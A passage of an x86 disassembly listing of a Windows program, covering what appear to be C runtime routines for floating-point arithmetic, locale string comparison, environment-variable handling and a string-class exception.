[esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_4CD9B4, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_4CD9B4, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_436760 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_4368C0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_4CEDE4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4CF004 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4CD9E4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4CDCA0, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx nop call near ptr 25C0000h test eax, eax jz short loc_42223A mov dword_4CDCA0, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_436EF4 push eax push edi push eax push ebx push ebx nop call near ptr 25C0619h test eax, eax jz loc_422453 mov dword_4CDCA0, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_4CDCA0 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25C0619h jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 2871132h test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2630000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2630000h nop test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25C0000h nop jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_4CD9DC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4CD9E0 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_4CD9DC, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_4CD9E4, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9DC, eax jz short loc_4224F6 mov [eax], edi cmp dword_4CD9E4, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9E4, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_4CD9DC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_4CD9DC, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25B01A0h nop push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4CD9DC push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4CEDFC, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_4CEF01[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= 